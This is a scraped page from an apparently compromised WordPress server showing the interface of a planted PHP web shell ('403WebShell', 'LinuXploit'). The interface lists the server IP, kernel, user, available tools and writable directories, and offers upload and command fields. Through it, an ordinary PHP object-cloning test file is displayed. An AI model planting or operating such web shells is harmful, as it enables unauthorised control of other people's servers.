WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/tests/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/tests/classes/clone_003.phpt
--TEST--
ZE2 object cloning, 3
--FILE--
<?php
class base {
	protected $p1 = 'base:1';
	public $p2 = 'base:2';
	public $p3 = 'base:3';
	public $p4 = 'base:4';
	public $p5 = 'base:5';
	private $p6 = 'base:6';
	public function __clone() {
	}
};

class test extends base {
	public $p1 = 'test:1';
	public $p3 = 'test:3';
	public $p4 = 'test:4';
	public $p5 = 'test:5';
	public function __clone() {
		$this->p5 = 'clone:5';
	}
}

$obj = new test;
$obj->p4 = 'A';
$copy = clone $obj;
echo "Object\n";
print_r($obj);
echo "Clown\n";
print_r($copy);
echo "Done\n";
?>
--EXPECT--
Object
test Object
(
    [p1] => test:1
    [p3] => test:3
    [p4] => A
    [p5] => test:5
    [p2] => base:2
    [p6:base:private] => base:6
)
Clown
test Object
(
    [p1] => test:1
    [p3] => test:3
    [p4] => A
    [p5] => clone:5
    [p2] => base:2
    [p6:base:private] => base:6
)
Done

Youez - 2016 - github.com/yon3zu
LinuXploit